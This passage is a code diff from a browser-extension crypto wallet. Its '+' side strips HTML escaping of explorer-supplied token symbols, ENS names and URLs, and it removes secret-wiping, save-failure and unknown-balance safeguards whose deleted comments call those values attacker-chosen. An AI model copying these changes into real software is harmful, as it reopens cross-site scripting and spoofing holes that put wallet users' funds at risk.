-// Cleanup callbacks for views that hold a secret in the DOM. The view
-// registers one for itself and showView() runs it whenever that view is
-// navigated away from, so the secret is wiped no matter which control
-// caused the navigation — "Back", the settings gear, or a jump from
-// anywhere else. A per-button clear would only cover the one path.
-const viewLeaveHandlers = new Map();
-
-function onViewLeave(name, fn) {
-    viewLeaveHandlers.set(name, fn);
-}
-
 function $(id) {
     return document.getElementById(id);
 }
@@ -80,11 +50,6 @@ function hideError(id) {
 }
 
 function showView(name) {
-    const leaving = state.currentView;
-    if (leaving && leaving !== name) {
-        const onLeave = viewLeaveHandlers.get(leaving);
-        if (onLeave) onLeave();
-    }
     for (const v of VIEWS) {
         const el = document.getElementById(`view-${v}`);
         if (el) {
@@ -93,10 +58,6 @@ function showView(name) {
     }
     clearFlash();
     state.currentView = name;
-    // A view's show() ends here, so this is where the Back path learns the
-    // view is no longer the blank template from index.html and must not be
-    // rendered a second time. See viewRouter.js.
-    markViewRendered(name);
     saveState();
     updateDebugBanner(name);
 }
@@ -132,51 +93,12 @@ function updateDebugBanner(viewName) {
     }
 }
 
-// The banner shown when a save has failed, registered as the save-failure
-// reporter by src/popup/index.js.
-//
-// Persistent and not dismissable, unlike showFlash(): what it says is true
-// until the popup is closed, and a message that clears itself after two seconds
-// is how the user goes on operating a wallet that is persisting nothing
-// (https://git.eeqj.de/sneak/AutistMask/issues/362). It survives navigation
-// because it hangs off document.body rather than off a view.
-//
-// Created on demand rather than authored in index.html, the same way
-// updateDebugBanner() creates its own: it is absent from a popup where nothing
-// has failed, which is the state that must not need markup to be in.
-//
-// textContent, never innerHTML: `detail` carries an error message, which may
-// come from the browser's storage layer.
-function showSaveFailureBanner(detail) {
-    let banner = document.getElementById("save-failure-banner");
-    if (!banner) {
-        banner = document.createElement("div");
-        banner.id = "save-failure-banner";
-        banner.style.cssText =
-            "background:#c00;color:#fff;text-align:center;font-size:10px;padding:2px 4px;font-family:monospace;position:sticky;top:0;z-index:10000;";
-        document.body.prepend(banner);
-    }
-    const message = (detail && (detail.message || detail.problem)) || detail;
-    banner.textContent =
-        "NOT SAVED — AutistMask could not write to storage, so recent" +
-        " changes are not stored. Close and reopen the popup; if this keeps" +
-        " happening, do not rely on anything you change now." +
-        (message ? " (" + String(message) + ")" : "");
-}
+// Callback to re-render the main/home view when navigating back to it.
+// Set once by index.js via setRenderMain().
+let _renderMain = null;
 
-// Callback that renders a view being navigated BACK onto. Set once by
-// index.js via setBackRenderer(), which routes the view through the same
-// per-view render and data guards restoreView() uses.
-//
-// It answers true when it took the navigation — the view is rendered and
-// shown, or its backing data was gone and it fell back — and false for a
-// view the popup does not render from persisted state. Those can only be
-// on the stack from this page load, because the stack is filtered on load,
-// so they have already been rendered and only need unhiding.
-let _renderBack = null;
-
-function setBackRenderer(fn) {
-    _renderBack = fn;
+function setRenderMain(fn) {
+    _renderMain = fn;
 }
 
 // Push the current view onto the navigation stack so goBack() can
@@ -196,11 +118,9 @@ function goBack() {
     } else {
         target = "main";
     }
-    // A popped view is landed on, not navigated to. If the popup has been
-    // closed and reopened since the view was pushed, nothing has ever
-    // rendered it in this page load and its template is still blank, so it
-    // has to be rendered here rather than merely unhidden.
-    if (_renderBack && _renderBack(target)) return;
+    if (target === "main" && _renderMain) {
+        _renderMain();
+    }
     showView(target);
 }
 
@@ -229,44 +149,17 @@ function showFlash(msg, duration = 2000) {
     }, duration);
 }
 
-// A stored token balance as a number, or null when there is no number in it.
-// balances.js writes null for a holding whose scale nothing knows, and this
-// keeps that null from becoming a zero one dereference later.
-function unknownableAmount(balance) {
-    if (balance == null) return null;
-    const n = parseFloat(balance);
-    return Number.isFinite(n) ? n : null;
-}
-
-// One row of the balance list: symbol, quantity, fiat value.
-//
-// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
-// so it is attacker-chosen markup until it has been through escapeHtml, and
-// attacker-chosen length until it has been through displaySymbol. This is
-// the row that issue #307 was reported against: every screen that lists a
-// holding renders through here.
-//
-// `amount` is null for a holding whose scale nothing knows
-// (https://git.eeqj.de/sneak/AutistMask/issues/349). There is no quantity to
-// print for it and no fiat value to derive from one, and printing 0.0000 for
-// a real holding is the failure this whole rule exists to prevent, so the row
-// says so instead.
 function balanceLine(symbol, amount, price, tokenId) {
-    const qty = amount === null ? "quantity unknown" : amount.toFixed(4);
-    const usd =
-        price && amount !== null
-            ? formatUsd(amount * price) || " "
-            : " ";
-    // tokenId is a contract address out of the same explorer JSON, and it
-    // lands inside a quoted attribute.
-    const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
+    const qty = amount.toFixed(4);
+    const usd = price ? formatUsd(amount * price) || " " : " ";
+    const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
     const clickClass = tokenId
         ? " cursor-pointer hover:bg-hover balance-row"
         : "";
     return (
         `<div class="flex text-xs${clickClass}"${tokenAttr}>` +
         `<span class="flex justify-between" style="width:42ch;max-width:100%">` +
-        `<span>${escapeHtml(displaySymbol(symbol))}</span>` +
+        `<span>${symbol}</span>` +
         `<span>${qty}</span>` +
         `</span>` +
         `<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -283,12 +176,7 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
     );
     const seen = new Set();
     for (const t of addr.tokenBalances || []) {
-        // A null balance is a holding of an unstatable amount, not a holding
-        // of zero, so the show-zero setting has no say over it: hiding it
-        // would be asserting the zero nobody established. Anything that does
-        // not parse to a finite number is unknown for the same reason — the
-        // `|| "0"` this replaced turned both into a confident zero.
-        const bal = unknownableAmount(t.balance);
+        const bal = parseFloat(t.balance || "0");
         if (bal === 0 && !showZero) continue;
         html += balanceLine(
             t.symbol,
@@ -312,25 +200,6 @@ function balanceLinesForAddress(addr, trackedTokens, showZero) {
     return html;
 }
 
-// Whether an address holds anything at all: ETH or any ERC-20 the wallet
-// knows about. Deliberately unrounded — the rendered lines round to four
-// decimals, so a dust balance displays as 0.0000 while still being real
-// money at a real address. Callers that warn about holdings must ask this,
-// not the rendered figure.
-function addressHoldsFunds(addr) {
-    if (!addr) return false;
-    if (parseFloat(addr.balance || "0") > 0) return true;
-    for (const t of addr.tokenBalances || []) {
-        // A null balance is a holding whose amount could not be stated —
-        // balances.js drops a row of zero base units before the scale is
-        // consulted, so a row that survived with no quantity is holding
-        // something. Warning about funds must err towards warning.
-        const bal = unknownableAmount(t.balance);
-        if (bal === null || bal > 0) return true;
-    }
-    return false;
-}
-
 // Truncate the middle of a string, replacing removed characters with "…".
 // Safety: refuses to truncate more than 10 characters, which is the maximum
 // that still prevents address spoofing attacks (see Display Consistency in
@@ -378,6 +247,12 @@ function addressDotHtml(address) {
     return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
 }
 
+function escapeHtml(s) {
+    const div = document.createElement("div");
+    div.textContent = s;
+    return div.innerHTML;
+}
+
 // Look up an address across all wallets and return its title
 // (e.g. "Address 1.2") or null if it's not one of ours.
 function addressTitle(address, wallets) {
@@ -465,26 +340,13 @@ const EXT_ICON =
     `<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
     `</svg></span>`;
 
-// Block-explorer URLs. The origin is a per-network constant from
-// src/shared/networks.js; only the path segment is data, and it comes out
-// of explorer JSON (a transaction's from/to, a token's address_hash), which
-// nothing upstream validates as hex. percent-encoding it keeps a segment
-// that contains a slash, a query or a fragment from re-pointing the link
-// somewhere else in the explorer.
-function explorerUrl(kind, value) {
-    return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
-}
-
 function etherscanAddressUrl(address) {
-    return explorerUrl("address", address);
+    return `${currentNetwork().explorerUrl}/address/${address}`;
 }
 
-// The URL still has to be escaped on the way into href="...": encoding
-// governs what the URL means, escaping governs whether it stays inside the
-// attribute.
 function etherscanLinkHtml(url) {
     return (
-        `<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
+        `<a href="${url}" target="_blank" rel="noopener" ` +
         `class="inline-flex items-center">${EXT_ICON}</a>`
     );
 }
@@ -569,15 +431,12 @@ function flashCopyFeedback(el) {
 }
 
 module.exports = {
-    VIEWS,
     $,
     showError,
     hideError,
     showView,
-    onViewLeave,
     updateDebugBanner,
-    showSaveFailureBanner,
-    setBackRenderer,
+    setRenderMain,
     pushCurrentView,
     goBack,
     clearViewStack,
@@ -585,12 +444,9 @@ module.exports = {
     flashCopyFeedback,
     balanceLine,
     balanceLinesForAddress,
-    addressHoldsFunds,
-    unknownableAmount,
     addressColor,
     addressDotHtml,
     escapeHtml,
-    displaySymbol,
     addressTitle,
     formatAddressHtml,
     renderAddressHtml,
@@ -598,7 +454,6 @@ module.exports = {
     attachCopyHandlers,
     etherscanAddressUrl,
     etherscanLinkHtml,
-    explorerUrl,
     EXT_ICON,
     truncateMiddle,
     isoDate,

src/popup/views/home.js

@@ -2,36 +2,29 @@ const {
     $,
     showView,
     showFlash,
+    flashCopyFeedback,
     balanceLinesForAddress,
     isoDate,
     timeAgo,
     addressDotHtml,
     addressTitle,
     escapeHtml,
-    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
     pushCurrentView,
 } = require("./helpers");
 const { state, saveState, currentAddress } = require("../../shared/state");
-const { notify } = require("../../shared/browserApi");
 const {
     updateSendBalance,
     renderSendTokenSelect,
     resetSendValidation,
 } = require("./send");
 const { deriveAddressFromXpub } = require("../../shared/wallet");
-const { canRemoveAddress } = require("../../shared/walletDelete");
-const {
-    walletDefect,
-    walletDefectHtml,
-} = require("../../shared/walletDefects");
 const {
     formatUsd,
-    formatAddressTotal,
     getPrice,
-    getAddressValue,
+    getAddressValueUsd,
 } = require("../../shared/prices");
 const {
     fetchRecentTransactions,
@@ -73,7 +66,9 @@ function renderTotalValue() {
     el.textContent = ethStr + ethUsd;
 
     if (subEl) {
-        subEl.innerHTML = formatAddressTotal(getAddressValue(addr)) || " ";
+        const totalUsd = getAddressValueUsd(addr);
+        subEl.innerHTML =
+            totalUsd !== null ? "Total: " + formatUsd(totalUsd) : " ";
     }
 }
 
@@ -110,13 +105,10 @@ function renderHomeTxList(ctx) {
                 : tx.direction === "sent" || tx.direction === "contract"
                   ? tx.to
                   : tx.from;
-        // directionLabel is the explorer's own method name for a contract
-        // call, title-cased — attacker-chosen for an attacker's contract.
-        const dirLabel = escapeHtml(tx.directionLabel);
-        const sym = displaySymbol(tx.symbol);
+        const dirLabel = tx.directionLabel;
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + sym)
-            : escapeHtml(sym);
+            ? escapeHtml(tx.value + " " + tx.symbol)
+            : escapeHtml(tx.symbol);
         const title = addressTitle(counterparty, state.wallets);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -171,7 +163,6 @@ async function loadHomeTxs(ctx) {
     if (allAddresses.length === 0) return;
 
     const filters = {
-        hideSpoofedSymbols: state.hideSpoofedSymbols,
         hideLowHolderTokens: state.hideLowHolderTokens,
         hideFraudContracts: state.hideFraudContracts,
         hideDustTransactions: state.hideDustTransactions,
@@ -222,62 +213,6 @@ async function loadHomeTxs(ctx) {
     }
 }
 
-// The wallet list markup. Pure: it reads state and returns a string, so the
-// list can be asserted on without a DOM.
-function walletListHtml() {
-    let html = "";
-    state.wallets.forEach((wallet, wi) => {
-        const defect = walletDefect(wallet);
-        html += `<div>`;
-        html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
-        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
-        // No "+" on a defective wallet: deriving another address from that
-        // xpub would only add one more address the key does not produce
-        // under the standard path.
-        if (!defect && (wallet.type === "hd" || wallet.type === "xprv")) {
-            html += `<button class="btn-add-address border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-wallet="${wi}" title="Add another address to this wallet">+</button>`;
-        }
-        html += `</div>`;
-        html += walletDefectHtml(wallet);
-
-        wallet.addresses.forEach((addr, ai) => {
-            html += `<div class="address-row py-1 border-b border-border-light cursor-pointer hover:bg-hover" data-wallet="${wi}" data-address="${ai}">`;
-            const isActive = state.activeAddress === addr.address;
-            const infoBtn = `<span class="btn-addr-info text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg" style="padding:0" data-wallet="${wi}" data-address="${ai}">[info]</span>`;
-            // Only where a wallet can spare the address: a wallet holding a
-            // single address has no remove control, because its last address
-            // is never removable.
-            const removeBtn = canRemoveAddress(wallet)
-                ? `<span class="btn-remove-address text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg ml-1" style="padding:0" data-wallet="${wi}" data-address="${ai}" title="Remove this address from the wallet">[x]</span>`
-                : "";
-            const dot = addressDotHtml(addr.address);
-            const titleBold = isActive ? "font-bold" : "";
-            html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
-            if (addr.ensName) {
-                // An ENS reverse record is whatever the name owner set it
-                // to; renderAddressHtml() escapes its own copy of this and
-                // this list was the one that did not.
-                html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
-            }
-            html += `<div class="flex text-xs items-center justify-between">`;
-            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
-            html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
-            html += `</div>`;
-            const addrTotal = formatAddressTotal(getAddressValue(addr));
-            html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrTotal || "&nbsp;"}</div>`;
-            html += balanceLinesForAddress(
-                addr,
-                state.trackedTokens,
-                state.showZeroBalanceTokens,
-            );
-            html += `</div>`;
-        });
-
-        html += `</div>`;
-    });
-    return html;
-}
-
 function render(ctx) {
     const container = $("wallet-list");
     if (state.wallets.length === 0) {
@@ -288,7 +223,43 @@ function render(ctx) {
         return;
     }
 
-    container.innerHTML = walletListHtml();
+    let html = "";
+    state.wallets.forEach((wallet, wi) => {
+        html += `<div>`;
+        html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
+        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
+        if (wallet.type === "hd" || wallet.type === "xprv") {
+            html += `<button class="btn-add-address border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-wallet="${wi}" title="Add another address to this wallet">+</button>`;
+        }
+        html += `</div>`;
+
+        wallet.addresses.forEach((addr, ai) => {
+            html += `<div class="address-row py-1 border-b border-border-light cursor-pointer hover:bg-hover" data-wallet="${wi}" data-address="${ai}">`;
+            const isActive = state.activeAddress === addr.address;
+            const infoBtn = `<span class="btn-addr-info text-xs cursor-pointer border border-border hover:bg-fg hover:text-bg" style="padding:0" data-wallet="${wi}" data-address="${ai}">[info]</span>`;
+            const dot = addressDotHtml(addr.address);
+            const titleBold = isActive ? "font-bold" : "";
+            html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
+            if (addr.ensName) {
+                html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
+            }
+            html += `<div class="flex text-xs items-center justify-between">`;
+            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
+            html += `<span class="flex-shrink-0 ml-1">${infoBtn}</span>`;
+            html += `</div>`;
+            const addrUsd = formatUsd(getAddressValueUsd(addr));
+            html += `<div class="text-xs text-muted text-right min-h-[1rem]">${addrUsd || "&nbsp;"}</div>`;
+            html += balanceLinesForAddress(
+                addr,
+                state.trackedTokens,
+                state.showZeroBalanceTokens,
+            );
+            html += `</div>`;
+        });
+
+        html += `</div>`;
+    });
+    container.innerHTML = html;
 
     container.querySelectorAll(".address-row").forEach((row) => {
         row.addEventListener("click", async () => {
@@ -299,7 +270,11 @@ function render(ctx) {
                 state.activeAddress = addr;
                 await saveState();
                 render(ctx);
-                notify({ type: "AUTISTMASK_ACTIVE_CHANGED" });
+                const runtime =
+                    typeof browser !== "undefined"
+                        ? browser.runtime
+                        : chrome.runtime;
+                runtime.sendMessage({ type: "AUTISTMASK_ACTIVE_CHANGED" });
             }
         });
     });
@@ -313,16 +288,6 @@ function render(ctx) {
         });
     });
 
-    container.querySelectorAll(".btn-remove-address").forEach((btn) => {
-        btn.addEventListener("click", (e) => {
-            e.stopPropagation();
-            ctx.showDeleteAddress(
-                parseInt(btn.dataset.wallet, 10),
-                parseInt(btn.dataset.address, 10),
-            );
-        });
-    });
-
     container.querySelectorAll(".btn-add-address").forEach((btn) => {
         btn.addEventListener("click", async (e) => {
             e.stopPropagation();
@@ -382,13 +347,6 @@ function render(ctx) {
     loadHomeTxs(ctx);
 }
 
-// The defect of the wallet the selected address belongs to, or null. Call
-// after selectActiveAddress().
-function selectedWalletDefect() {
-    if (state.selectedWallet === null) return null;
-    return walletDefect(state.wallets[state.selectedWallet]);
-}
-
 function selectActiveAddress() {
     for (let wi = 0; wi < state.wallets.length; wi++) {
         for (let ai = 0; ai < state.wallets[wi].addresses.length; ai++) {
@@ -412,13 +370,6 @@ function init(ctx) {
             showFlash("No active address selected.");
             return;
         }
-        // Before the balance check and before any password is asked for: this
-        // wallet cannot sign at all, so the send screen is a dead end.
-        const defect = selectedWalletDefect();
-        if (defect) {
-            showFlash(defect.shortMessage);
-            return;
-        }
         const addr = currentAddress();
         if (!addr.balance || parseFloat(addr.balance) === 0) {
             showFlash("Cannot send \u2014 zero balance.");
@@ -444,4 +395,4 @@ function init(ctx) {
     });
 }
 
-module.exports = { init, render, walletListHtml };
+module.exports = { init, render };

src/popup/views/receive.js

@@ -5,7 +5,6 @@ const {
     flashCopyFeedback,
     formatAddressHtml,
     addressTitle,
-    displaySymbol,
     attachCopyHandlers,
     goBack,
 } = require("./helpers");
@@ -45,7 +44,7 @@ function show() {
         }
         warningEl.textContent =
             "This is an ERC-20 token. Only send " +
-            displaySymbol(symbol) +
+            symbol +
             " on " +
             currentNetwork().name +
             " to this address. Sending tokens on other networks will result in permanent loss.";
@@ -58,7 +57,7 @@ function show() {
     attachCopyHandlers("view-receive");
 }
 
-function init(_ctx) {
+function init(ctx) {
     $("btn-receive-copy").addEventListener("click", () => {
         const addr = $("receive-address-block").dataset.full;
         if (addr) {

src/popup/views/send.js

@@ -4,7 +4,7 @@ const {
     $,
     showFlash,
     addressTitle,
-    displaySymbol,
+    escapeHtml,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -12,10 +12,7 @@ const {
 const { state, currentAddress } = require("../../shared/state");
 let ctx;
 const { getProvider } = require("../../shared/balances");
-const { resolveTokenDecimals } = require("../../shared/approvalAmount");
-const { resolveSymbol } = require("../../shared/tokenList");
-const { isLowHolderCount } = require("../../shared/holders");
-const { isSpoofedSymbol } = require("../../shared/symbolSpoof");
+const { KNOWN_SYMBOLS, resolveSymbol } = require("../../shared/tokenList");
 const { getAddress } = require("ethers");
 
 const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";
@@ -118,6 +115,14 @@ function updateToValidation() {
     }
 }
 
+function isSpoofedToken(t) {
+    const upper = (t.symbol || "").toUpperCase();
+    if (!KNOWN_SYMBOLS.has(upper)) return false;
+    const legit = KNOWN_SYMBOLS.get(upper);
+    if (legit === null) return true;
+    return t.address.toLowerCase() !== legit;
+}
+
 function renderSendTokenSelect(addr) {
     const sel = $("send-token");
     sel.innerHTML = '<option value="ETH">ETH</option>';
@@ -125,15 +130,12 @@ function renderSendTokenSelect(addr) {
         (state.fraudContracts || []).map((a) => a.toLowerCase()),
     );
     for (const t of addr.tokenBalances || []) {
-        if (isSpoofedSymbol(t.symbol, t.address)) continue;
+        if (isSpoofedToken(t)) continue;
         if (fraudSet.has(t.address.toLowerCase())) continue;
-        // An unknown holder count does not withhold a token the user holds:
-        // only a count the explorer actually reported as below the threshold
-        // does.  Otherwise a missing field makes a real asset unspendable.
-        if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
+        if (state.hideLowHolderTokens && (t.holders || 0) < 1000) continue;
         const opt = document.createElement("option");
         opt.value = t.address;
-        opt.textContent = displaySymbol(t.symbol);
+        opt.textContent = t.symbol;
         sel.appendChild(opt);
     }
 }
@@ -160,14 +162,9 @@ function updateSendBalance() {
             addr.tokenBalances,
             state.trackedTokens,
         );
-        // A null balance is a holding whose scale nothing knows. Saying "0"
-        // for it would be a claim about the amount; the send itself is
-        // refused later by transferAmountUnits() for the same missing scale.
-        const bal = tb ? tb.balance : "0";
+        const bal = tb ? tb.balance || "0" : "0";
         $("send-balance").textContent =
-            bal == null
-                ? "Current balance: unknown (" + symbol + ")"
-                : "Current balance: " + bal + " " + symbol;
+            "Current balance: " + bal + " " + symbol;
     }
 }
 
@@ -208,7 +205,7 @@ function init(_ctx) {
         let ensName = null;
         if (to.includes(".") && !to.startsWith("0x")) {
             try {
-                const provider = getProvider(state.rpcUrl, state.networkId);
+                const provider = getProvider(state.rpcUrl);
                 const resolved = await provider.resolveName(to);
                 if (!resolved) {
                     showFlash("Could not resolve " + to);
@@ -216,7 +213,7 @@ function init(_ctx) {
                 }
                 resolvedTo = resolved;
                 ensName = to;
-            } catch {
+            } catch (e) {
                 showFlash("Failed to resolve ENS name.");
                 return;
             }
@@ -227,11 +224,6 @@ function init(_ctx) {
 
         let tokenSymbol = null;
         let tokenBalance = null;
-        // The scale the amount and the balance below are rendered at, carried
-        // forward so the transfer is encoded with the number the user read
-        // rather than with whatever the contract answers at signing time. See
-        // src/shared/transferAmount.js.
-        let tokenDecimals = null;
         if (token !== "ETH") {
             const tb = (addr.tokenBalances || []).find(
                 (t) => t.address.toLowerCase() === token.toLowerCase(),
@@ -241,45 +233,7 @@ function init(_ctx) {
                 addr.tokenBalances,
                 state.trackedTokens,
             );
-            // null carried through rather than flattened to "0": the confirm
-            // screen states an unknown balance as unknown, and
-            // validateTransfer() treats it as no balance to spend from, which
-            // is the fail-closed side of an amount nobody can check.
-            tokenBalance = tb ? (tb.balance ?? null) : "0";
-            // Resolved the same way balances.js resolved the scale it
-            // DISPLAYED this token's balance at: bundled list, then the user's
-            // tracked tokens, then the explorer. The stored
-            // tokenBalances[].decimals is the explorer's own answer alone, so
-            // reading it raw carries a null forward for a token the wallet
-            // does know the scale of — and displayedDecimals() then throws
-            // inside estimateGas(), which the confirmation screen reports as
-            // an unestimable fee. Unsendable, over a scale that was never in
-            // doubt (https://git.eeqj.de/sneak/AutistMask/issues/349).
-            // Still null when nothing knows: no fallback.
-            //
-            // Resolved WITH `wallets`, which balances.js does not pass: that
-            // adds explorerDecimals()'s cross-address check, so a contract two
-            // addresses report different scales for answers null rather than
-            // picking one. That check has to apply here, because this value
-            // encodes a transfer; balances.js is formatting one explorer row
-            // at fetch time and cannot consult a state it is in the middle of
-            // replacing.
-            tokenDecimals = resolveTokenDecimals(token, {
-                trackedTokens: state.trackedTokens,
-                wallets: state.wallets,
-            });
-            // The two resolutions can therefore differ, and where they do, the
-            // stored `balance` is a quantity computed at a scale this screen
-            // has just declined to stand behind. Stating it would leave
-            // validateTransfer() checking the amount against a number the
-            // wallet does not vouch for, and — since the unknown-balance path
-            // is gated on the balance, not on the scale — would leave the
-            // fee-estimate failure as the only thing on the confirmation
-            // screen, which says nothing about decimals. Unknown scale means
-            // unknown balance. Only a stored quantity is withdrawn: the "0"
-            // for a token that has no row at all is an absence of holdings,
-            // which is true at every scale.
-            if (tb && tokenDecimals === null) tokenBalance = null;
+            tokenBalance = tb ? tb.balance || "0" : "0";
         }
 
         ctx.showConfirmTx({
@@ -291,7 +245,6 @@ function init(_ctx) {
             balance: addr.balance,
             tokenSymbol: tokenSymbol,
             tokenBalance: tokenBalance,
-            tokenDecimals: tokenDecimals,
         });
     });
 

src/popup/views/settings.js

@@ -4,22 +4,16 @@ const {
     updateDebugBanner,
     showFlash,
     escapeHtml,
-    displaySymbol,
     flashCopyFeedback,
     goBack,
     pushCurrentView,
 } = require("./helpers");
 const { applyTheme } = require("../theme");
-const {
-    DUST_THRESHOLD_MESSAGE,
-    parseDustThresholdGwei,
-} = require("../dustThreshold");
 const { state, saveState, currentNetwork } = require("../../shared/state");
+const { NETWORKS, SUPPORTED_CHAIN_IDS } = require("../../shared/networks");
 const { onChainSwitch } = require("../../shared/chainSwitch");
 const { log, debugFetch, setRuntimeDebug } = require("../../shared/log");
 const deleteWallet = require("./deleteWallet");
-const showPhrase = require("./showPhrase");
-const { walletHasRecoveryPhrase } = require("../../shared/wallet");
 const {
     BUILD_VERSION,
     BUILD_LICENSE,
@@ -29,7 +23,8 @@ const {
     GITEA_COMMIT_URL,
 } = require("../../shared/buildInfo");
 
-const { notify } = require("../../shared/browserApi");
+const runtime =
+    typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
 
 let versionClickCount = 0;
 let versionClickTimer = null;
@@ -44,11 +39,8 @@ function renderSiteList(containerId, siteMap, stateKey) {
     let html = "";
     hostnames.forEach((hostname) => {
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
-        // A hostname the URL parser produced cannot carry a delimiter, so
-        // this is escaped for the rule rather than for a known hole — the
-        // rule being that nothing reaches innerHTML unescaped.
-        html += `<span>${escapeHtml(hostname)}</span>`;
-        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
+        html += `<span>${hostname}</span>`;
+        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
         html += `</div>`;
     });
     container.innerHTML = html;
@@ -63,7 +55,7 @@ function renderSiteList(containerId, siteMap, stateKey) {
                 }
             }
             await saveState();
-            notify({ type: "AUTISTMASK_REMOVE_SITE" });
+            runtime.sendMessage({ type: "AUTISTMASK_REMOVE_SITE" });
             renderSiteList(containerId, state[key], key);
         });
     });
@@ -77,10 +69,9 @@ function renderTrackedTokens() {
     }
     let html = "";
     state.trackedTokens.forEach((token, idx) => {
-        const sym = escapeHtml(displaySymbol(token.symbol));
         const label = token.name
-            ? escapeHtml(token.name) + " (" + sym + ")"
-            : sym;
+            ? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
+            : escapeHtml(token.symbol);
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
         html += `<span>${label}</span>`;
         html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
@@ -108,14 +99,7 @@ function renderWalletListSettings() {
         const name = escapeHtml(wallet.name || "Wallet " + (idx + 1));
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
         html += `<span class="settings-wallet-name cursor-pointer underline decoration-dashed" data-idx="${idx}">${name}</span>`;
-        html += `<span class="flex items-center gap-1 flex-shrink-0">`;
-        // Key and xprv wallets have no recovery phrase, so they are never
-        // offered the action at all.
-        if (walletHasRecoveryPhrase(wallet)) {
-            html += `<button class="btn-show-phrase border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}" title="Show recovery phrase">[recovery phrase]</button>`;
-        }
         html += `<button class="btn-delete-wallet border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
-        html += `</span>`;
         html += `</div>`;
     });
     container.innerHTML = html;
@@ -127,15 +111,6 @@ function renderWalletListSettings() {
         });
     });
 
-    container.querySelectorAll(".btn-show-phrase").forEach((btn) => {
-        btn.addEventListener("click", () => {
-            const idx = parseInt(btn.dataset.idx, 10);
-            // No pushCurrentView() here: showPhrase.show() refuses
-            // non-HD wallets and pushes only when it navigates.
-            showPhrase.show(idx);
-        });
-    });
-
     // Inline rename on click
     container.querySelectorAll(".settings-wallet-name").forEach((span) => {
         span.addEventListener("click", () => {
@@ -172,7 +147,10 @@ function renderWalletListSettings() {
 function show() {
     $("settings-rpc").value = state.rpcUrl;
     $("settings-blockscout").value = state.blockscoutUrl;
-    $("settings-network").value = state.networkId;
+    const networkSelect = $("settings-network");
+    if (networkSelect) {
+        networkSelect.value = state.networkId;
+    }
     renderTrackedTokens();
     renderSiteLists();
     renderWalletListSettings();
@@ -213,7 +191,6 @@ function renderSiteLists() {
 
 function init(ctx) {
     deleteWallet.init(ctx);
-    showPhrase.init();
 
     $("btn-save-rpc").addEventListener("click", async () => {
         const url = $("settings-rpc").value.trim();
@@ -284,13 +261,15 @@ function init(ctx) {
     });
 
     const networkSelect = $("settings-network");
-    networkSelect.addEventListener("change", async () => {
-        const newId = networkSelect.value;
-        const net = await onChainSwitch(newId);
-        $("settings-rpc").value = state.rpcUrl;
-        $("settings-blockscout").value = state.blockscoutUrl;
-        showFlash("Switched to " + net.name + ".");
-    });
+    if (networkSelect) {
+        networkSelect.addEventListener("change", async () => {
+            const newId = networkSelect.value;
+            const net = await onChainSwitch(newId);
+            $("settings-rpc").value = state.rpcUrl;
+            $("settings-blockscout").value = state.blockscoutUrl;
+            showFlash("Switched to " + net.name + ".");
+        });
+    }
 
     $("settings-show-zero-balances").checked = state.showZeroBalanceTokens;
     $("settings-show-zero-balances").addEventListener("change", async () => {
@@ -305,12 +284,6 @@ function init(ctx) {
         applyTheme(state.theme);
     });
 
-    $("settings-hide-spoofed-symbols").checked = state.hideSpoofedSymbols;
-    $("settings-hide-spoofed-symbols").addEventListener("change", async () => {
-        state.hideSpoofedSymbols = $("settings-hide-spoofed-symbols").checked;
-        await saveState();
-    });
-
     $("settings-hide-low-holders").checked = state.hideLowHolderTokens;
